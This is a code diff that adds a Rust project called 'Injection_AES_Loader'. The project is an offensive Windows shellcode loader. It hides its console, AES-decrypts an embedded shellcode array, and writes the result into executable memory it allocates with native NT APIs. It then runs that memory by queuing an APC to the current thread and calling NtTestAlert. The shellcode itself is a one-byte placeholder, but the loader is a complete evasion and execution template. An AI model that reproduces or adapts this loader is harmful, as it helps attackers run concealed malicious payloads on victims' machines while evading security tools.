aes

Injection_AES_Loader/Cargo.toml

@@ -0,0 +1,12 @@
+[package]
+name = "Injection_AES_Loader"
+version = "0.1.0"
+edition = "2021"
+author = "trickster0"
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+ntapi = "0.3.6"
+reqwest = {version = "0.11.4", features = ["blocking"]}
+winapi = {version = "0.3.9", features = ["wincon"]}
+libaes = "0.6.1"

Injection_AES_Loader/src/main.rs

@@ -0,0 +1,24 @@
+#![cfg(windows)]
+use ntapi::ntmmapi::{NtAllocateVirtualMemory,NtWriteVirtualMemory};
+use ntapi::ntpsapi::{NtCurrentProcess,NtCurrentThread,NtQueueApcThread,NtTestAlert,PPS_APC_ROUTINE};
+use std::ptr::null_mut;
+use ntapi::winapi::ctypes::c_void;
+use libaes::Cipher;
+
+fn main(){
+    unsafe {winapi::um::wincon::FreeConsole();};
+    let key : [u8;16] = [0x81, 0x5, 0x8b, 0x53, 0xfc, 0xd4, 0x5d, 0xc8, 0x55, 0xf7, 0xf0, 0xf7, 0x44, 0x4d, 0x88, 0xdb];
+    let shellcode : [u8;1] = [0x70];
+    let iv = b"This is 16 bytes";
+    let cipher = Cipher::new_128(&key);
+    let decrypted = cipher.cbc_decrypt(iv, &shellcode[..]);
+        unsafe {
+            let mut allocstart : *mut c_void = null_mut();
+            let mut seize : usize = decrypted.len();
+            NtAllocateVirtualMemory(NtCurrentProcess,&mut allocstart,0,&mut seize, 0x00003000, 0x40);
+            NtWriteVirtualMemory(NtCurrentProcess,allocstart,decrypted.as_ptr() as _,decrypted.len() as usize,null_mut());
+            NtQueueApcThread(NtCurrentThread,Some(std::mem::transmute(allocstart)) as PPS_APC_ROUTINE,allocstart,null_mut(),null_mut());
+            NtTestAlert();
+        }
+}
+